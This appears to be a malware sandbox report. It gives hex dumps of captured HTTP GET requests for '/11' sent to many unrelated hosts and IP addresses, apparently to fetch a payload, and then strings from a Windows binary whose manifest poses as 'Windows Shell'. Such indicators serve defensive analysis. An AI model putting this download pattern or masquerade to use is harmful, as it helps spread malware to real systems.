0x00000000 (00000)   47455420 2f313120 48545450 2f312e31   GET /11 HTTP/1.1
0x00000010 (00016)   0d0a4163 63657074 3a202a2f 2a0d0a41   ..Accept: */*..A
0x00000020 (00032)   63636570 742d456e 636f6469 6e673a20   ccept-Encoding: 
0x00000030 (00048)   677a6970 2c206465 666c6174 650d0a55   gzip, deflate..U
0x00000040 (00064)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000050 (00080)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000060 (00096)   6c653b20 4d534945 20362e30 3b205769   le; MSIE 6.0; Wi
0x00000070 (00112)   6e646f77 73204e54 20352e31 3b205356   ndows NT 5.1; SV
0x00000080 (00128)   313b202e 4e455420 434c5220 322e302e   1; .NET CLR 2.0.
0x00000090 (00144)   35303732 37290d0a 486f7374 3a206d61   50727)..Host: ma
0x000000a0 (00160)   65737472 6f657665 6e742e63 6f6d0d0a   estroevent.com..
0x000000b0 (00176)   436f6e6e 65637469 6f6e3a20 4b656570   Connection: Keep
0x000000c0 (00192)   2d416c69 76650d0a 0d0a0d0a 0d0a6563   -Alive........ec
0x000000d0 (00208)   74696f6e 3a204b65 804373c2 e97f       tion: Ke.Cs...

0x00000000 (00000)   47455420 2f313120 48545450 2f312e31   GET /11 HTTP/1.1
0x00000010 (00016)   0d0a4163 63657074 3a202a2f 2a0d0a41   ..Accept: */*..A
0x00000020 (00032)   63636570 742d456e 636f6469 6e673a20   ccept-Encoding: 
0x00000030 (00048)   677a6970 2c206465 666c6174 650d0a55   gzip, deflate..U
0x00000040 (00064)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000050 (00080)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000060 (00096)   6c653b20 4d534945 20362e30 3b205769   le; MSIE 6.0; Wi
0x00000070 (00112)   6e646f77 73204e54 20352e31 3b205356   ndows NT 5.1; SV
0x00000080 (00128)   313b202e 4e455420 434c5220 322e302e   1; .NET CLR 2.0.
0x00000090 (00144)   35303732 37290d0a 486f7374 3a207777   50727)..Host: ww
0x000000a0 (00160)   77322e6d 616b6566 75722e63 6f2e6a70   w2.makefur.co.jp
0x000000b0 (00176)   0d0a436f 6e6e6563 74696f6e 3a204b65   ..Connection: Ke
0x000000c0 (00192)   65702d41 6c697665 0d0a0d0a 0d0a6563   ep-Alive......ec
0x000000d0 (00208)   74696f6e 3a204b65 804373c2 e97f       tion: Ke.Cs...

0x00000000 (00000)   47455420 2f313120 48545450 2f312e31   GET /11 HTTP/1.1
0x00000010 (00016)   0d0a4163 63657074 3a202a2f 2a0d0a41   ..Accept: */*..A
0x00000020 (00032)   63636570 742d456e 636f6469 6e673a20   ccept-Encoding: 
0x00000030 (00048)   677a6970 2c206465 666c6174 650d0a55   gzip, deflate..U
0x00000040 (00064)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000050 (00080)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000060 (00096)   6c653b20 4d534945 20362e30 3b205769   le; MSIE 6.0; Wi
0x00000070 (00112)   6e646f77 73204e54 20352e31 3b205356   ndows NT 5.1; SV
0x00000080 (00128)   313b202e 4e455420 434c5220 322e302e   1; .NET CLR 2.0.
0x00000090 (00144)   35303732 37290d0a 486f7374 3a206d61   50727)..Host: ma
0x000000a0 (00160)   7263696e 5f647962 656b2e66 6d2e696e   rcin_dybek.fm.in
0x000000b0 (00176)   74657269 612e706c 0d0a436f 6e6e6563   teria.pl..Connec
0x000000c0 (00192)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000d0 (00208)   0d0a0d0a 3a204b65 804373c2 e97f       ....: Ke.Cs...

0x00000000 (00000)   47455420 2f313120 48545450 2f312e31   GET /11 HTTP/1.1
0x00000010 (00016)   0d0a4163 63657074 3a202a2f 2a0d0a41   ..Accept: */*..A
0x00000020 (00032)   63636570 742d456e 636f6469 6e673a20   ccept-Encoding: 
0x00000030 (00048)   677a6970 2c206465 666c6174 650d0a55   gzip, deflate..U
0x00000040 (00064)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000050 (00080)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000060 (00096)   6c653b20 4d534945 20362e30 3b205769   le; MSIE 6.0; Wi
0x00000070 (00112)   6e646f77 73204e54 20352e31 3b205356   ndows NT 5.1; SV
0x00000080 (00128)   313b202e 4e455420 434c5220 322e302e   1; .NET CLR 2.0.
0x00000090 (00144)   35303732 37290d0a 486f7374 3a206d61   50727)..Host: ma
0x000000a0 (00160)   727a656e 616d616b 732e6575 2e696e74   rzenamaks.eu.int
0x000000b0 (00176)   65726961 2e706c0d 0a436f6e 6e656374   eria.pl..Connect
0x000000c0 (00192)   696f6e3a 204b6565 702d416c 6976650d   ion: Keep-Alive.
0x000000d0 (00208)   0a0d0a0a 3a204b65 804373c2 e97f       ....: Ke.Cs...

0x00000000 (00000)   47455420 2f313120 48545450 2f312e31   GET /11 HTTP/1.1
0x00000010 (00016)   0d0a4163 63657074 3a202a2f 2a0d0a41   ..Accept: */*..A
0x00000020 (00032)   63636570 742d456e 636f6469 6e673a20   ccept-Encoding: 
0x00000030 (00048)   677a6970 2c206465 666c6174 650d0a55   gzip, deflate..U
0x00000040 (00064)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000050 (00080)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000060 (00096)   6c653b20 4d534945 20362e30 3b205769   le; MSIE 6.0; Wi
0x00000070 (00112)   6e646f77 73204e54 20352e31 3b205356   ndows NT 5.1; SV
0x00000080 (00128)   313b202e 4e455420 434c5220 322e302e   1; .NET CLR 2.0.
0x00000090 (00144)   35303732 37290d0a 486f7374 3a206d6f   50727)..Host: mo
0x000000a0 (00160)   66696c6d 732e636f 6d0d0a43 6f6e6e65   films.com..Conne
0x000000b0 (00176)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000c0 (00192)   650d0a0d 0a4b6565 702d416c 6976650d   e....Keep-Alive.
0x000000d0 (00208)   0a0d0a0a 3a204b65 804373c2 e97f       ....: Ke.Cs...

0x00000000 (00000)   47455420 2f7e6d6f 6e737430 32312f31   GET /~monst021/1
0x00000010 (00016)   31204854 54502f31 2e310d0a 41636365   1 HTTP/1.1..Acce
0x00000020 (00032)   70743a20 2a2f2a0d 0a416363 6570742d   pt: */*..Accept-
0x00000030 (00048)   456e636f 64696e67 3a20677a 69702c20   Encoding: gzip, 
0x00000040 (00064)   6465666c 6174650d 0a557365 722d4167   deflate..User-Ag
0x00000050 (00080)   656e743a 204d6f7a 696c6c61 2f342e30   ent: Mozilla/4.0
0x00000060 (00096)   2028636f 6d706174 69626c65 3b204d53    (compatible; MS
0x00000070 (00112)   49452036 2e303b20 57696e64 6f777320   IE 6.0; Windows 
0x00000080 (00128)   4e542035 2e313b20 5356313b 202e4e45   NT 5.1; SV1; .NE
0x00000090 (00144)   5420434c 5220322e 302e3530 37323729   T CLR 2.0.50727)
0x000000a0 (00160)   0d0a486f 73743a20 686f6d65 2e706c61   ..Host: home.pla
0x000000b0 (00176)   6e65742e 6e6c0d0a 436f6e6e 65637469   net.nl..Connecti
0x000000c0 (00192)   6f6e3a20 4b656570 2d416c69 76650d0a   on: Keep-Alive..
0x000000d0 (00208)   0d0a0a0a 3a204b65 804373c2 e97f       ....: Ke.Cs...

0x00000000 (00000)   47455420 2f7e6d6f 6f63682f 31312048   GET /~mooch/11 H
0x00000010 (00016)   5454502f 312e310d 0a416363 6570743a   TTP/1.1..Accept:
0x00000020 (00032)   202a2f2a 0d0a4163 63657074 2d456e63    */*..Accept-Enc
0x00000030 (00048)   6f64696e 673a2067 7a69702c 20646566   oding: gzip, def
0x00000040 (00064)   6c617465 0d0a5573 65722d41 67656e74   late..User-Agent
0x00000050 (00080)   3a204d6f 7a696c6c 612f342e 30202863   : Mozilla/4.0 (c
0x00000060 (00096)   6f6d7061 7469626c 653b204d 53494520   ompatible; MSIE 
0x00000070 (00112)   362e303b 2057696e 646f7773 204e5420   6.0; Windows NT 
0x00000080 (00128)   352e313b 20535631 3b202e4e 45542043   5.1; SV1; .NET C
0x00000090 (00144)   4c522032 2e302e35 30373237 290d0a48   LR 2.0.50727)..H
0x000000a0 (00160)   6f73743a 206d6173 74657264 69736b65   ost: masterdiske
0x000000b0 (00176)   75726f70 652e636f 6d0d0a43 6f6e6e65   urope.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a204b65 804373c2 e97f       e.... Ke.Cs...

0x00000000 (00000)   47455420 2f7e6d72 65647363 68652f31   GET /~mredsche/1
0x00000010 (00016)   31204854 54502f31 2e310d0a 41636365   1 HTTP/1.1..Acce
0x00000020 (00032)   70743a20 2a2f2a0d 0a416363 6570742d   pt: */*..Accept-
0x00000030 (00048)   456e636f 64696e67 3a20677a 69702c20   Encoding: gzip, 
0x00000040 (00064)   6465666c 6174650d 0a557365 722d4167   deflate..User-Ag
0x00000050 (00080)   656e743a 204d6f7a 696c6c61 2f342e30   ent: Mozilla/4.0
0x00000060 (00096)   2028636f 6d706174 69626c65 3b204d53    (compatible; MS
0x00000070 (00112)   49452036 2e303b20 57696e64 6f777320   IE 6.0; Windows 
0x00000080 (00128)   4e542035 2e313b20 5356313b 202e4e45   NT 5.1; SV1; .NE
0x00000090 (00144)   5420434c 5220322e 302e3530 37323729   T CLR 2.0.50727)
0x000000a0 (00160)   0d0a486f 73743a20 6d656d62 6572732e   ..Host: members.
0x000000b0 (00176)   616f6e2e 61740d0a 436f6e6e 65637469   aon.at..Connecti
0x000000c0 (00192)   6f6e3a20 4b656570 2d416c69 76650d0a   on: Keep-Alive..
0x000000d0 (00208)   0d0a0a0d 0a204b65 804373c2 e97f       ..... Ke.Cs...

0x00000000 (00000)   47455420 2f313120 48545450 2f312e31   GET /11 HTTP/1.1
0x00000010 (00016)   0d0a4163 63657074 3a202a2f 2a0d0a41   ..Accept: */*..A
0x00000020 (00032)   63636570 742d456e 636f6469 6e673a20   ccept-Encoding: 
0x00000030 (00048)   677a6970 2c206465 666c6174 650d0a55   gzip, deflate..U
0x00000040 (00064)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000050 (00080)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000060 (00096)   6c653b20 4d534945 20362e30 3b205769   le; MSIE 6.0; Wi
0x00000070 (00112)   6e646f77 73204e54 20352e31 3b205356   ndows NT 5.1; SV
0x00000080 (00128)   313b202e 4e455420 434c5220 322e302e   1; .NET CLR 2.0.
0x00000090 (00144)   35303732 37290d0a 486f7374 3a206d75   50727)..Host: mu
0x000000a0 (00160)   6c74696d 61726765 2e70680d 0a436f6e   ltimarge.ph..Con
0x000000b0 (00176)   6e656374 696f6e3a 204b6565 702d416c   nection: Keep-Al
0x000000c0 (00192)   6976650d 0a0d0a70 2d416c69 76650d0a   ive....p-Alive..
0x000000d0 (00208)   0d0a0a0d 0a204b65 804373c2 e97f       ..... Ke.Cs...

0x00000000 (00000)   47455420 2f7e6e61 6e616b72 616d2f31   GET /~nanakram/1
0x00000010 (00016)   31204854 54502f31 2e310d0a 41636365   1 HTTP/1.1..Acce
0x00000020 (00032)   70743a20 2a2f2a0d 0a416363 6570742d   pt: */*..Accept-
0x00000030 (00048)   456e636f 64696e67 3a20677a 69702c20   Encoding: gzip, 
0x00000040 (00064)   6465666c 6174650d 0a557365 722d4167   deflate..User-Ag
0x00000050 (00080)   656e743a 204d6f7a 696c6c61 2f342e30   ent: Mozilla/4.0
0x00000060 (00096)   2028636f 6d706174 69626c65 3b204d53    (compatible; MS
0x00000070 (00112)   49452036 2e303b20 57696e64 6f777320   IE 6.0; Windows 
0x00000080 (00128)   4e542035 2e313b20 5356313b 202e4e45   NT 5.1; SV1; .NE
0x00000090 (00144)   5420434c 5220322e 302e3530 37323729   T CLR 2.0.50727)
0x000000a0 (00160)   0d0a486f 73743a20 3230392e 3231372e   ..Host: 209.217.
0x000000b0 (00176)   3233352e 32350d0a 436f6e6e 65637469   235.25..Connecti
0x000000c0 (00192)   6f6e3a20 4b656570 2d416c69 76650d0a   on: Keep-Alive..
0x000000d0 (00208)   0d0a0a0d 0a204b65 804373c2 e97f       ..... Ke.Cs...

0x00000000 (00000)   47455420 2f313120 48545450 2f312e31   GET /11 HTTP/1.1
0x00000010 (00016)   0d0a4163 63657074 3a202a2f 2a0d0a41   ..Accept: */*..A
0x00000020 (00032)   63636570 742d456e 636f6469 6e673a20   ccept-Encoding: 
0x00000030 (00048)   677a6970 2c206465 666c6174 650d0a55   gzip, deflate..U
0x00000040 (00064)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000050 (00080)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000060 (00096)   6c653b20 4d534945 20362e30 3b205769   le; MSIE 6.0; Wi
0x00000070 (00112)   6e646f77 73204e54 20352e31 3b205356   ndows NT 5.1; SV
0x00000080 (00128)   313b202e 4e455420 434c5220 322e302e   1; .NET CLR 2.0.
0x00000090 (00144)   35303732 37290d0a 486f7374 3a206e62   50727)..Host: nb
0x000000a0 (00160)   642e786f 6e2e706c 0d0a436f 6e6e6563   d.xon.pl..Connec
0x000000b0 (00176)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000c0 (00192)   0d0a0d0a 4b656570 2d416c69 76650d0a   ....Keep-Alive..
0x000000d0 (00208)   0d0a0a0d 0a204b65 804373c2 e97f       ..... Ke.Cs...

0x00000000 (00000)   47455420 2f313120 48545450 2f312e31   GET /11 HTTP/1.1
0x00000010 (00016)   0d0a4163 63657074 3a202a2f 2a0d0a41   ..Accept: */*..A
0x00000020 (00032)   63636570 742d456e 636f6469 6e673a20   ccept-Encoding: 
0x00000030 (00048)   677a6970 2c206465 666c6174 650d0a55   gzip, deflate..U
0x00000040 (00064)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000050 (00080)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000060 (00096)   6c653b20 4d534945 20362e30 3b205769   le; MSIE 6.0; Wi
0x00000070 (00112)   6e646f77 73204e54 20352e31 3b205356   ndows NT 5.1; SV
0x00000080 (00128)   313b202e 4e455420 434c5220 322e302e   1; .NET CLR 2.0.
0x00000090 (00144)   35303732 37290d0a 486f7374 3a206e65   50727)..Host: ne
0x000000a0 (00160)   74736574 2e69720d 0a436f6e 6e656374   tset.ir..Connect
0x000000b0 (00176)   696f6e3a 204b6565 702d416c 6976650d   ion: Keep-Alive.
0x000000c0 (00192)   0a0d0aff 4b656570 2d416c69 76650d0a   ....Keep-Alive..
0x000000d0 (00208)   0d0a0a0d 0a204b65 804373c2 e97f       ..... Ke.Cs...

0x00000000 (00000)   47455420 2f313120 48545450 2f312e31   GET /11 HTTP/1.1
0x00000010 (00016)   0d0a4163 63657074 3a202a2f 2a0d0a41   ..Accept: */*..A
0x00000020 (00032)   63636570 742d456e 636f6469 6e673a20   ccept-Encoding: 
0x00000030 (00048)   677a6970 2c206465 666c6174 650d0a55   gzip, deflate..U
0x00000040 (00064)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000050 (00080)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000060 (00096)   6c653b20 4d534945 20362e30 3b205769   le; MSIE 6.0; Wi
0x00000070 (00112)   6e646f77 73204e54 20352e31 3b205356   ndows NT 5.1; SV
0x00000080 (00128)   313b202e 4e455420 434c5220 322e302e   1; .NET CLR 2.0.
0x00000090 (00144)   35303732 37290d0a 486f7374 3a20616c   50727)..Host: al
0x000000a0 (00160)   6c666f72 6c6f7665 2e64650d 0a436f6e   lforlove.de..Con
0x000000b0 (00176)   6e656374 696f6e3a 204b6565 702d416c   nection: Keep-Al
0x000000c0 (00192)   6976650d 0a0d0a70 2d416c69 76650d0a   ive....p-Alive..
0x000000d0 (00208)   0d0a0a0d 0a204b65 804373c2 e97f       ..... Ke.Cs...

0x00000000 (00000)   47455420 2f313120 48545450 2f312e31   GET /11 HTTP/1.1
0x00000010 (00016)   0d0a4163 63657074 3a202a2f 2a0d0a41   ..Accept: */*..A
0x00000020 (00032)   63636570 742d456e 636f6469 6e673a20   ccept-Encoding: 
0x00000030 (00048)   677a6970 2c206465 666c6174 650d0a55   gzip, deflate..U
0x00000040 (00064)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000050 (00080)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000060 (00096)   6c653b20 4d534945 20362e30 3b205769   le; MSIE 6.0; Wi
0x00000070 (00112)   6e646f77 73204e54 20352e31 3b205356   ndows NT 5.1; SV
0x00000080 (00128)   313b202e 4e455420 434c5220 322e302e   1; .NET CLR 2.0.
0x00000090 (00144)   35303732 37290d0a 486f7374 3a206e63   50727)..Host: nc
0x000000a0 (00160)   61706b75 722e7362 6b6d6c2e 6b31322e   apkur.sbkml.k12.
0x000000b0 (00176)   74720d0a 436f6e6e 65637469 6f6e3a20   tr..Connection: 
0x000000c0 (00192)   4b656570 2d416c69 76650d0a 0d0a0d0a   Keep-Alive......
0x000000d0 (00208)   0d0a0a0d 0a204b65 804373c2 e97f       ..... Ke.Cs...

0x00000000 (00000)   47455420 2f313120 48545450 2f312e31   GET /11 HTTP/1.1
0x00000010 (00016)   0d0a4163 63657074 3a202a2f 2a0d0a41   ..Accept: */*..A
0x00000020 (00032)   63636570 742d456e 636f6469 6e673a20   ccept-Encoding: 
0x00000030 (00048)   677a6970 2c206465 666c6174 650d0a55   gzip, deflate..U
0x00000040 (00064)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000050 (00080)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000060 (00096)   6c653b20 4d534945 20362e30 3b205769   le; MSIE 6.0; Wi
0x00000070 (00112)   6e646f77 73204e54 20352e31 3b205356   ndows NT 5.1; SV
0x00000080 (00128)   313b202e 4e455420 434c5220 322e302e   1; .NET CLR 2.0.
0x00000090 (00144)   35303732 37290d0a 486f7374 3a206e65   50727)..Host: ne
0x000000a0 (00160)   756d616e 64696e61 2e636f6d 0d0a436f   umandina.com..Co
0x000000b0 (00176)   6e6e6563 74696f6e 3a204b65 65702d41   nnection: Keep-A
0x000000c0 (00192)   6c697665 0d0a0d0a 76650d0a 0d0a0d0a   live....ve......
0x000000d0 (00208)   0d0a0a0d 0a204b65 804373c2 e97f       ..... Ke.Cs...

0x00000000 (00000)   47455420 2f313120 48545450 2f312e31   GET /11 HTTP/1.1
0x00000010 (00016)   0d0a4163 63657074 3a202a2f 2a0d0a41   ..Accept: */*..A
0x00000020 (00032)   63636570 742d456e 636f6469 6e673a20   ccept-Encoding: 
0x00000030 (00048)   677a6970 2c206465 666c6174 650d0a55   gzip, deflate..U
0x00000040 (00064)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000050 (00080)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000060 (00096)   6c653b20 4d534945 20362e30 3b205769   le; MSIE 6.0; Wi
0x00000070 (00112)   6e646f77 73204e54 20352e31 3b205356   ndows NT 5.1; SV
0x00000080 (00128)   313b202e 4e455420 434c5220 322e302e   1; .NET CLR 2.0.
0x00000090 (00144)   35303732 37290d0a 486f7374 3a203732   50727)..Host: 72
0x000000a0 (00160)   2e33342e 34372e31 36330d0a 436f6e6e   .34.47.163..Conn
0x000000b0 (00176)   65637469 6f6e3a20 4b656570 2d416c69   ection: Keep-Ali
0x000000c0 (00192)   76650d0a 0d0a0d0a 76650d0a 0d0a0d0a   ve......ve......
0x000000d0 (00208)   0d0a0a0d 0a204b65 804373c2 e97f       ..... Ke.Cs...


Strings
s
        />
///..+)%$"
272627
?[5?855100----
_adjust_fdiv
ah]YYHHHH
</assembly>
<assembly 
<assemblyIdentity
        <assemblyIdentity
CloseHandle
_controlfp
CreateEventW
CreateFileA
CreateFileW
CreateThread
@.data
DeleteIpNetEntry
</dependency>
<dependency>
    </dependentAssembly>
    <dependentAssembly>
<description>Windows Shell</description>
__dllonexit
EnterCriticalSection
_except_handler3
ExitProcess
Ezrwpn/u
fff_]fRRHF@>>4674
FindClose
f#J/&@'>?_
FlushFileBuffers
FormatMessageW
FreeEnvironmentStringsW
FreeLibrary
GetACP
GetCommandLineW
GetCurrentProcess
GetCurrentProcessId
GetCurrentThread
GetEnvironmentStringsW
GetModuleFileNameW
GetModuleHandleA
GetModuleHandleW
GetOEMCP
GetStartupInfoW
GetStringTypeW
GetTickCount
GetVersionExA
GetVersionExW
HeapAlloc
HeapDestroy
HeapFree
InitializeCriticalSection
_initterm
InterlockedCompareExchange
InterlockedDecrement
InterlockedIncrement
IPHLPAPI.DLL
KERNEL32.dll
knc_VfYQQ
            language="*"
LCMapStringW
LoadLibraryA
LocalFree
lstrlenW
  manifestVersion="1.0">
mp_ff_+u
MSVCRT.dll
MultiByteToWideChar
            name="Microsoft.Windows.Common-Controls"
    name="TestSoftware.Test.Shell.Contacts"
oDMYDH7
_onexit
__p__commode
__p__fmode
            processorArchitecture="x86"
    processorArchitecture="x86"
            publicKeyToken="6595b64144ccf1df"
qooee_]]YRHFC><>6
qrhqpn_^^VRVRQ6C6
QueryPerformanceCounter
RaiseException
`.rdata
ReadFile
(Rich_
__set_app_type
SetEvent
SETUPAPI.dll
SetupRemoveFromSourceListA
__setusermatherr
SHELL32.dll
SHFileOperationW
StartServiceCtrlDispatcher failed: %d: %m
tflfIg2
tgmaLL2
!This program cannot be run in DOS mode.
TlsGetValue
            type="win32"
    type="win32"/>
/uuuuuujjj[[N[5
    version="5.1.0.0"
            version="6.0.0.0"
VirtualAlloc
WaitForSingleObject
_wcmdln
__wgetmainargs
WideCharToMultiByte
WriteFile
_XcptFilter
  xmlns="urn:schemas-microsoft-com:asm.v1"
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>